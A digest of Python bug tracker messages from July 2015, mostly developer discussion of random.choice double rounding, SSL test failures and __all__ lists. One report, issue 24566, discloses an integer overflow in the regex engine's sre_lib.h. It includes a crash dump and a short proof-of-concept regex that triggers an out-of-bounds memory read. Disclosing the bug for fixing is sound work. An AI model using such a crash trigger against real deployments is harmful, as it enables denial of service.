<1431553670.83.0.456032288115.issue24181@psf.upfronthosting.co.za> Message-ID: <1436061639.79.0.797004024586.issue24181@psf.upfronthosting.co.za> Larry Hastings added the comment: FWIW, our "AMD64 Windows7 SP1 3.5" buildbot hits this > 50% of the time in the regression test suite. So it's not just Terry. http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.5/builds/78/steps/test/logs/stdio ---------- nosy: +larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 04:07:22 2015 From: report at bugs.python.org (Steve Dower) Date: Sun, 05 Jul 2015 02:07:22 +0000 Subject: [issue15993] Windows: 3.3.0-rc2.msi: test_buffer fails In-Reply-To: <1348173110.08.0.356112095586.issue15993@psf.upfronthosting.co.za> Message-ID: <1436062042.8.0.318225955955.issue15993@psf.upfronthosting.co.za> Steve Dower added the comment: Eh, why bother. I don't remember if the fix is in for 3.5.0b3, but I'll vouch that the compiler build with the fix does exist and will be used for 3.5, so this should just be closed (again). ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 04:10:39 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 05 Jul 2015 02:10:39 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <20150705021033.GS10773@ando.pearwood.info> Steven D'Aprano added the comment: I've been running this snippet for almost 72 hours now: s = u"?????????u042e????????u042312456789" while True: state = random.getstate() try: a = random.choice(s) except IndexError: break with no results yet. I cannot replicate the original error. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 04:38:16 2015 From: report at bugs.python.org (Tim Peters) Date: Sun, 05 Jul 2015 02:38:16 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436063896.9.0.497687123133.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: Raymond, there are (at least) two bugs here: 1. The original bug report. Nobody yet has any plausible theory for what went wrong there. So "won't fix" wouldn't be appropriate. If the OP can't provide more information, neither a reproducible test case, then after a while closing this report as "works for me" would be appropriate. 2. The "double rounding" bug. That cannot be the cause of the OP's problem, so doesn't really belong in this report. Nobody knows how rare it is. I suspect, but have not proved, that 1. - 2.**-53 is the only random.random() result for which it's possible that double-rounding can cause int(i * random.random()) == i. Given that unlikely - but possible - value, there are at least half a million ints 0 < i < 1000000000 for which equality holds (but only on platforms where the double rounding bug is possible, which doesn't include any platform I use ;-) ). That probably should get a report of its own. It's unintended and unanticipated behavior, causing simple code to raise a wholly unexpected & unpredictable exception. That's "a bug" to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 04:49:22 2015 From: report at bugs.python.org (bee13oy) Date: Sun, 05 Jul 2015 02:49:22 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h Message-ID: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> New submission from bee13oy: I found an Unsigned Integer Overflow in sre_lib.h. Tested on En Windows 7 x86 + Python 3.4.3 / Python 3.5.0b2 Crash: ------ (1a84.16b0): Access violation - code c0000005 (!!! second chance !!!) eax=00000002 ebx=0038f40c ecx=00000002 edx=0526cbb8 esi=83e0116b edi=c3e011eb eip=58bcfa53 esp=0038f384 ebp=0038f394 iopl=0 nv up ei ng nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010283 python35+0x1fa53: 58bcfa53 380e cmp byte ptr [esi],cl ds:002b:83e0116b=?? code: ------ 58bcfa3d 8b4a04 mov ecx,dword ptr [edx+4] 58bcfa40 0fb6c1 movzx eax,cl 58bcfa43 3bc1 cmp eax,ecx 58bcfa45 0f8593000000 jne python35+0x1fade (58bcfade) 58bcfa4b 3bf7 cmp esi,edi 58bcfa4d 0f838b000000 jae python35+0x1fade (58bcfade) 58bcfa53 380e cmp byte ptr [esi],cl ds:002b:83e0116b=?? 58bcfa55 0f8583000000 jne python35+0x1fade (58bcfade) stack: ------ 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0038f394 58bcfedf 40000080 0038f40c 83e0116c python35+0x1fa53 0038f3c0 58bd0f58 00000000 06016508 0526cb60 python35+0x1fedf 0038f400 58bd5039 58e40c58 83e0116b 03e01158 python35+0x20f58 0038f480 58bd76b2 00000000 7fffffff 00000000 python35+0x25039 0038f4a4 58c925cf 0526cb60 0528a4d0 00000000 python35+0x276b2 0038f4c4 58cf3633 06016508 0528a4d0 00000000 python35!PyCFunction_Call+0x2f 0038f4f8 58cf0b05 05840f90 03e0ab90 00000001 python35!PyEval_GetFuncDesc+0x373 0038f570 58cf3791 03e0ab90 00000000 00000001 python35!PyEval_EvalFrameEx+0x22d5 0038f594 58cf3692 00000001 00000001 00000000 python35!PyEval_GetFuncDesc+0x4d1 0038f5c8 58cf0b05 03e08de0 0012e850 00000000 python35!PyEval_GetFuncDesc+0x3d2 0038f640 58cf25bb 0012e850 00000000 065feff0 python35!PyEval_EvalFrameEx+0x22d5 0038f68c 58d29302 03dcfaa8 00000000 00000000 python35!PyEval_EvalFrameEx+0x3d8b 0038f6c8 58d29195 03dcfaa8 03dcfaa8 0038f790 python35!PyRun_FileExFlags+0x1f2 0038f6f4 58d2820a 05994fc8 052525a8 00000101 python35!PyRun_FileExFlags+0x85 0038f738 58bfe9f7 05994fc8 052525a8 00000001 python35!PyRun_SimpleFileExFlags+0x20a 0038f764 58bff32b 0038f790 5987b648 5987cc94 python35!Py_hashtable_copy+0x5e17 0038f808 1c6f11df 00000003 05796f70 05210f50 python35!Py_Main+0x90b source code: LOCAL(Py_ssize_t) SRE(search)(SRE_STATE* state, SRE_CODE* pattern) { SRE_CHAR* ptr = (SRE_CHAR *)state->start; SRE_CHAR* end = (SRE_CHAR *)state->end; Py_ssize_t status = 0; Py_ssize_t prefix_len = 0; Py_ssize_t prefix_skip = 0; SRE_CODE* prefix = NULL; SRE_CODE* charset = NULL; SRE_CODE* overlap = NULL; int flags = 0; if (pattern[0] == SRE_OP_INFO) { /* optimization info block */ /* <1=skip> <2=flags> <3=min> <4=max> <5=prefix info> */ flags = pattern[2]; if (pattern[3] > 1) { /* adjust end point (but make sure we leave at least one character in there, so literal search will work) */ end -= pattern[3] - 1; if (end <= ptr) end = ptr; } ... } ... } else /* general case */ while (ptr <= end) { TRACE(("|%p|%p|SEARCH\n", pattern, ptr)); state->start = state->ptr = ptr++; status = SRE(match)(state, pattern, 0); if (status != 0) break; } } SRE(count)(SRE_STATE* state, SRE_CODE* pattern, Py_ssize_t maxcount) { SRE_CODE chr; SRE_CHAR c; SRE_CHAR* ptr = (SRE_CHAR *)state->ptr; SRE_CHAR* end = (SRE_CHAR *)state->end; Py_ssize_t i; /* adjust end */ if (maxcount < end - ptr && maxcount != SRE_MAXREPEAT) end = ptr + maxcount; ... #if SIZEOF_SRE_CHAR < 4 if ((SRE_CODE) c != chr) ; /* literal can't match: doesn't fit in char width */ else #endif while (ptr < end && *ptr == c) // crash here, ptr points to an unreadable memory. ptr++; break; } poc code: ---cut---- import re pattern = "([\\2]{1073741952})" regexp = re.compile(r''+pattern+'') sgroup = regexp.search(pattern) ---cut--- 1.) In SRE(search), pattern[3] is equal to 1073741952 (0x400000080). What's more, the program doesn't limit the max size, which causes the end pointer is pointed to an invalid and large address( bigger than ptr). 2.) Then program run while (ptr <= end) { state->start = state->ptr = ptr++,..} , but state->end pointer is the orignal value.3.) After a while's running, it comes to SRE(count) and adjust the end, end - ptr = 0x7fffffff, which is largger than 0x400000080, ptr has been pointed to an invalid address. 3.) After a while, it runs to function SRE(count) and adjust the end, end - ptr = 0x7fffffff, which is largger than 0x400000080, ptr has been pointed to an invalid address. ---------- components: Regular Expressions messages: 246290 nosy: bee13oy, ezio.melotti, mrabarnett priority: normal severity: normal status: open title: Unsigned Integer Overflow in sre_lib.h versions: Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 04:59:28 2015 From: report at bugs.python.org (Ezio Melotti) Date: Sun, 05 Jul 2015 02:59:28 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436065168.9.0.0863197822892.issue24566@psf.upfronthosting.co.za> Changes by Ezio Melotti : ---------- nosy: +haypo, serhiy.storchaka type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 05:04:00 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 05 Jul 2015 03:04:00 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding Message-ID: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> New submission from Steven D'Aprano: While investigating issue 24546, I discovered that at least some versions of Python on 32-bit Linux have a double-rounding bug in multiplication which may lead to an unexpected IndexError in random.choice. See http://bugs.python.org/issue24546 for additional discussion, but the short version is that due to double-rounding, if random.random returns (1. - 2.**-53), int(i * random.random()) may return 1 for some i >= 2049, and random.choice will then evaluate seq[len(seq)], raising IndexError. ---------- messages: 246291 nosy: Serge Anuchin, haypo, mark.dickinson, r.david.murray, rhettinger, serhiy.storchaka, skrah, steven.daprano, tim.peters priority: normal severity: normal status: open title: random.choice IndexError due to double-rounding type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 05:06:56 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 05 Jul 2015 03:06:56 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436065616.96.0.816454866584.issue24546@psf.upfronthosting.co.za> Steven D'Aprano added the comment: I've created a new issue 24567 for the double-rounding bug. I have taken the liberty of copying the nosy list from this issue to the new one, apologies if that is inappropriate. ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 05:54:16 2015 From: report at bugs.python.org (Roundup Robot) Date: Sun, 05 Jul 2015 03:54:16 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <20150705035413.13199.75133@psf.io> Roundup Robot added the comment: New changeset 37fed8b02f00 by Benjamin Peterson in branch '3.3': protect against mutation of the dict during insertion (closes #24407) https://hg.python.org/cpython/rev/37fed8b02f00 New changeset 75da5acbfbe4 by Benjamin Peterson in branch '3.4': merge 3.3 (#24407) https://hg.python.org/cpython/rev/75da5acbfbe4 New changeset 6a7ee97cb0b1 by Benjamin Peterson in branch '3.5': merge 3.4 (#24407) https://hg.python.org/cpython/rev/6a7ee97cb0b1 New changeset 88814ddd5e9e by Benjamin Peterson in branch 'default': merge 3.5 (#24407) https://hg.python.org/cpython/rev/88814ddd5e9e ---------- nosy: +python-dev resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 07:13:32 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Jul 2015 05:13:32 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436073212.42.0.851831700738.issue24566@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Does the patch for issue18684 fix this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 07:15:25 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Jul 2015 05:15:25 +0000 Subject: [issue24181] test_fileio crash, 3.5, Win 7 In-Reply-To: <1431553670.83.0.456032288115.issue24181@psf.upfronthosting.co.za> Message-ID: <1436073325.76.0.33792522829.issue24181@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- priority: normal -> release blocker type: behavior -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 07:16:21 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Jul 2015 05:16:21 +0000 Subject: [issue24181] test_fileio crash, 3.5, Win 7 In-Reply-To: <1431553670.83.0.456032288115.issue24181@psf.upfronthosting.co.za> Message-ID: <1436073381.86.0.580319888849.issue24181@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- priority: release blocker -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 08:11:24 2015 From: report at bugs.python.org (Steve Dower) Date: Sun, 05 Jul 2015 06:11:24 +0000 Subject: [issue24181] test_fileio crash, 3.5, Win 7 In-Reply-To: <1431553670.83.0.456032288115.issue24181@psf.upfronthosting.co.za> Message-ID: <1436076684.31.0.831849207162.issue24181@psf.upfronthosting.co.za> Steve Dower added the comment: I don't see any crash in that log, though the importlib tests appeared to time out. Assert messages appear on the buildbots because they use debug builds and we don't suppress them completely. Provided the tests keep running without failure, it's fine. To avoid the dialog when testing a debug build, you need to pass -n to test. ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 08:11:35 2015 From: report at bugs.python.org (Steve Dower) Date: Sun, 05 Jul 2015 06:11:35 +0000 Subject: [issue24181] test_fileio crash, 3.5, Win 7 In-Reply-To: <1431553670.83.0.456032288115.issue24181@psf.upfronthosting.co.za> Message-ID: <1436076695.53.0.338734306178.issue24181@psf.upfronthosting.co.za> Changes by Steve Dower : ---------- stage: needs patch -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 09:18:12 2015 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 05 Jul 2015 07:18:12 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436080692.04.0.999718991048.issue24546@psf.upfronthosting.co.za> Mark Dickinson added the comment: [Tim] > I suspect, but have not proved, that 1. - 2.**-53 is the only > random.random() result for which it's possible that double-rounding > can cause int(i * random.random()) == i. I'm sure this is true. Any other random value is at most 1 - 2**-52, and we're always going to have (1 - 2**-52) * i <= next_below(i), (where * represents multiplication in the rationals, with unrounded result), and since next_below(i) is representable both in the extended 64-bit precision and the target 53-bit precision, neither of the roundings will change that inequality. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 11:24:11 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 05 Jul 2015 09:24:11 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436088251.38.0.613934842084.issue24567@psf.upfronthosting.co.za> Stefan Krah added the comment: I've finally gotten hold of a gcc (5.1.0) that produces the unwanted code. For a *different* test case, even the -O0 and -O2 results differ, since with -O2 gcc uses mpfr (I think!) for constant folding, which produces the correct result. Using -mfpmath=sse seems to fix all test cases that I've tried. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 11:51:41 2015 From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=) Date: Sun, 05 Jul 2015 09:51:41 +0000 Subject: [issue23883] __all__ lists are incomplete In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za> Message-ID: <1436089901.5.0.77659389686.issue23883@psf.upfronthosting.co.za> Changes by Jacek Ko?odziej : Added file: http://bugs.python.org/file39867/Issue23883_support_check__all__.v4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 11:52:38 2015 From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=) Date: Sun, 05 Jul 2015 09:52:38 +0000 Subject: [issue23883] __all__ lists are incomplete In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za> Message-ID: <1436089958.26.0.727354023701.issue23883@psf.upfronthosting.co.za> Changes by Jacek Ko?odziej : Added file: http://bugs.python.org/file39868/Issue23883_test_gettext.v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 11:53:01 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 05 Jul 2015 09:53:01 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1436089981.5.0.90815794726.issue24553@psf.upfronthosting.co.za> Stefan Krah added the comment: Nick, this may be a misunderstanding, but you mentioned issues that PEP 489 did not address yet. The only issue left for _decimal is the speed issue. Sub-interpreter tests run fine even with the existing module state API, *if* one is willing to take a speed hit. [I get that this is outside the scope of this issue, just for clarification.] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 11:57:23 2015 From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=) Date: Sun, 05 Jul 2015 09:57:23 +0000 Subject: [issue23883] __all__ lists are incomplete In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za> Message-ID: <1436090243.11.0.548501139651.issue23883@psf.upfronthosting.co.za> Jacek Ko?odziej added the comment: > In any case it is too late for 3.5. Ok, next round of patches is based on default branch. > Jacek: If we used the ModuleType check, and somebody adds a module-level constant (like logging.CRITICAL = 50), the test will automatically detect if they forget to update __all__. That is what I meant by the test being stricter. Right and I think such case should be covered as well. I think it may be worth the hassle of adding new condition in detecting names expected to be documented, so the whole if clause would look like: if (getattr(module_object, '__module__', None) in name_of_module or (not isinstance(module_object, types.ModuleType) and not hasattr(module_object, '__module__'))): expected.add(name) Obviously tradeoff lies in required blacklisting: * with previous __module__ check - all undocumented, non "_*" names defined in checked module, but constants need to be in *extra* and new ones won't be detected * with ModuleType check only - all undocumented, non "_*" names defined in checked module + all functions and classes imported from other modules needs blacklisting * with extended __module__ check (proposed above) - all undocumented, non "_*" names defined in checked module + all constants imported from other modules; this choice also requires less 'extra' params (in fact, in these patches only csv.__doc/version__ case left) In this round of patches I went the new, third way. One odd thing: in test.test_logging, are these: 3783: self.addCleanup(setattr, logging, 'raiseExecptions', old_raise) 3790: self.addCleanup(setattr, logging, 'raiseExecptions', old_raise) ("Ex*ec*ptions") really typos or is it intentional? test.test_logging has raiseExceptions name as well. Also, pickletools.OpcodeInfo and threading.ThreadError are not really documented, are they? ---------- Added file: http://bugs.python.org/file39869/Issue23883_all.v4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:16:51 2015 From: report at bugs.python.org (Serge Anuchin) Date: Sun, 05 Jul 2015 10:16:51 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436091411.91.0.869847223256.issue24546@psf.upfronthosting.co.za> Serge Anuchin added the comment: > Serge, you'll have to find some way to get more information on exactly what is failing in order for this issue to make progress. This exception occurred only once and I can't reproduce it. Additional system specs in attachment. ---------- Added file: http://bugs.python.org/file39870/additional_specs.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:31:26 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 05 Jul 2015 10:31:26 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436092286.87.0.393763613838.issue24546@psf.upfronthosting.co.za> Stefan Krah added the comment: Any chance that another program (C-extension) had set the FPU control word to an unusual value (24bit prec?). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:34:08 2015 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 05 Jul 2015 10:34:08 +0000 Subject: [issue23965] test_ssl failure on Fedora 22 In-Reply-To: <1429109042.15.0.0394513301498.issue23965@psf.upfronthosting.co.za> Message-ID: <1436092448.18.0.538382424122.issue23965@psf.upfronthosting.co.za> Nick Coghlan added the comment: I've attached the patch for my initial attempt at addressing this, but I think my results show I went down completely the wrong path. Specifically, the three new tests are "failing": FAIL: test_protocol_sslv23_not_available (test.test_ssl.ThreadedTests) ---------------------------------------------------------------------- AssertionError: Client protocol PROTOCOL_SSLv23 succeeded with server protocol PROTOCOL_SSLv23! FAIL: test_protocol_sslv2_not_available (test.test_ssl.ThreadedTests) ---------------------------------------------------------------------- AssertionError: Client protocol SSLv2 succeeded with server protocol SSLv2! FAIL: test_protocol_sslv3_not_available (test.test_ssl.ThreadedTests) ---------------------------------------------------------------------- AssertionError: Client protocol PROTOCOL_SSLv3 succeeded with server protocol PROTOCOL_SSLv3! So I'm going to revert this attempt entirely, and instead start by introducing some appropriate use of subtests to get more info out of the failing examples. ---------- keywords: +patch versions: +Python 2.7, Python 3.4, Python 3.6 Added file: http://bugs.python.org/file39871/issue23965_check_sslv23_support.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:36:51 2015 From: report at bugs.python.org (STINNER Victor) Date: Sun, 05 Jul 2015 10:36:51 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436088251.38.0.613934842084.issue24567@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: There is a simple fix. If the result is invalid, drop it and generate a new number. It should keep the distribution uniform. Another fix is to only use integers. Why do we use float in choice by the way? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:37:06 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 05 Jul 2015 10:37:06 +0000 Subject: [issue23965] test_ssl failure on Fedora 22 In-Reply-To: <1429109042.15.0.0394513301498.issue23965@psf.upfronthosting.co.za> Message-ID: <1436092626.12.0.146566720413.issue23965@psf.upfronthosting.co.za> Antoine Pitrou added the comment: As Christian, I suspect that SSLv3 is progressively getting disabled in distro builds of OpenSSL. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:41:46 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 05 Jul 2015 10:41:46 +0000 Subject: [issue23020] New matmul operator crashes modules compiled with CPython3.4 In-Reply-To: <1418128303.35.0.105853053103.issue23020@psf.upfronthosting.co.za> Message-ID: <1436092906.96.0.785879293568.issue23020@psf.upfronthosting.co.za> Antoine Pitrou added the comment: There was probably an informal "best effort ABI compatibility" in 2.x that we de facto dropped in 3.x. Otherwise, as Amaury points out, several Py_TPFLAGS_HAVE_XXX flags would have no purpose. ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:42:37 2015 From: report at bugs.python.org (STINNER Victor) Date: Sun, 05 Jul 2015 10:42:37 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1435889228.66.0.609645465346.issue23517@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Le vendredi 3 juillet 2015, Alexander Belopolsky a ?crit : > > > UNIX doesn't like timestamps in the future > > I don't think this is a serious consideration. The problematic scenario > would be obtaining high-resolution timestamp (from say time.time()), > converting it to datetime and passing it back to OS as a possibly 0.5?s > higher value. Given that timestamp -> datetime -> timestamp roundtrip by > itself takes over 1?s, it is very unlikely that by the time rounded value > hits the OS it is still in the future. > In many cases the resolution is 1 second. For example, a filesystem with a resolution of 1second. Or an API only supporting a resolution of 1 second. With a resoltuion of 1 second, timestamps in the future are likely (50%). Sorry I don't remember all detail of timestamp rounding and all issues that I saw. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:44:38 2015 From: report at bugs.python.org (STINNER Victor) Date: Sun, 05 Jul 2015 10:44:38 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: Message-ID: STINNER Victor added the comment: My rationale is more general than datetime. But problems araise when different API use different rounding methods. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 12:56:20 2015 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 05 Jul 2015 10:56:20 +0000 Subject: [issue23965] test_ssl failure on Fedora 22 In-Reply-To: <1429109042.15.0.0394513301498.issue23965@psf.upfronthosting.co.za> Message-ID: <1436093780.76.0.239357415454.issue23965@psf.upfronthosting.co.za> Nick Coghlan added the comment: Yeah, I belatedly realised I was overcomplicating things, and the test failures really are just due the change in the context options to disallow SSLv3 peers by default. I have an idea for how to fix that, and I think it will make the handling of the NO_SSLv2 flag in the SSL tests easier to follow as well. It's also worth noting that https://www.rfc-editor.org/info/rfc7568 was published recently to start deprecating SSL 3.0 entirely, so setting that flag by default is indeed going to become the norm at the distro layer. ---------- assignee: -> ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 13:25:39 2015 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 05 Jul 2015 11:25:39 +0000 Subject: [issue23965] test_ssl failure on Fedora 22 In-Reply-To: <1429109042.15.0.0394513301498.issue23965@psf.upfronthosting.co.za> Message-ID: <1436095539.81.0.151097036326.issue23965@psf.upfronthosting.co.za> Nick Coghlan added the comment: The attached patch creates a TLSv1 context at test_ssl import time to see if SSLv2 and SSLv3 peers are disallowed by default. The test expectations for context options, SSLv23 and SSLv3 are then adjusted accordingly. The context options tests are also updated to compare binary strings rather than comparing integers directly, as the diff is much nicer with the strings. Creating the TLSv1 context at import time could be avoided easily enough by moving the options flag check into the individual tests, so I'm open to doing that if folks would prefer it. ---------- Added file: http://bugs.python.org/file39872/issue23965_handle_legacy_ssl_peers_disallowed.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 14:07:17 2015 From: report at bugs.python.org (Jakub Wilk) Date: Sun, 05 Jul 2015 12:07:17 +0000 Subject: [issue24568] Misc/NEWS: "free-after-use" -> "use-after-free" Message-ID: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za> New submission from Jakub Wilk: Misc/NEWS reads: "Fix free-after-use bug" It should be "use-after-free", not "free-after-use". ---------- assignee: docs at python components: Documentation messages: 246310 nosy: docs at python, jwilk priority: normal severity: normal status: open title: Misc/NEWS: "free-after-use" -> "use-after-free" versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 14:36:42 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Jul 2015 12:36:42 +0000 Subject: [issue24524] python crash using Tkinter In-Reply-To: <1435528887.92.0.932065002837.issue24524@psf.upfronthosting.co.za> Message-ID: <1436099802.34.0.989056637441.issue24524@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Unfortunately can't reproduce the issue in 2.7.6, 2.7.10+, 3.4.0, 3.4.3+, 3.5.0b2+, 3.6.0a0 with Tcl/Tk 8.6.1. The only output is: Traceback (most recent call last): File "", line 1, in File "/usr/lib/python2.7/lib-tk/tkFileDialog.py", line 125, in askopenfilename return Open(**options).show() File "/usr/lib/python2.7/lib-tk/tkCommonDialog.py", line 48, in show s = w.tk.call(self.command, *w._options(self.options)) _tkinter.TclError: can't invoke "grab" command: application has been destroyed ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 15:05:43 2015 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sun, 05 Jul 2015 13:05:43 +0000 Subject: [issue24569] Inconsistent PEP 0448 implementation Message-ID: <1436101543.42.0.85714652308.issue24569@psf.upfronthosting.co.za> New submission from Vedran ?a?i?: It seems the consequences of PEP 0448 weren't really thought through. :-/ (And BTW why isn't it in "What's new in Python 3.5"? I know there is a file with full details, but I guess this really should be notable enough.) {0:1, **{0:2}, 0:3, 0:4} Do you know what is the value of that dict? And does it make sense to you? It surely doesn't make sense to me (though I understand the implementation). I know things are really subtle and even Guido gets it wrong (https://bugs.python.org/msg234413), even without PEP 0448, but this particular instance is horrible. ValueError would be perfect, I'd be ok with 4, I'd shrug on 1, I'd frown on 2, but I _scream_ on 3. Please fix this until it's too late and fictional "backward compatibility" starts to freeze the wrong behaviour. ---------- messages: 246312 nosy: Vedran.?a?i? priority: normal severity: normal status: open title: Inconsistent PEP 0448 implementation _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 15:11:10 2015 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sun, 05 Jul 2015 13:11:10 +0000 Subject: [issue24569] Inconsistent PEP 0448 implementation In-Reply-To: <1436101543.42.0.85714652308.issue24569@psf.upfronthosting.co.za> Message-ID: <1436101870.65.0.781363399486.issue24569@psf.upfronthosting.co.za> Changes by Vedran ?a?i? : ---------- type: -> behavior versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 15:31:31 2015 From: report at bugs.python.org (bee13oy) Date: Sun, 05 Jul 2015 13:31:31 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436103091.89.0.693702322041.issue24566@psf.upfronthosting.co.za> bee13oy added the comment: I didn't test that path, I just found this bug in python3.4.3 by fuzzing re module, and tested Python 3.5.0b2 on windows 7 x86, It has the same problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 15:40:26 2015 From: report at bugs.python.org (bee13oy) Date: Sun, 05 Jul 2015 13:40:26 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: 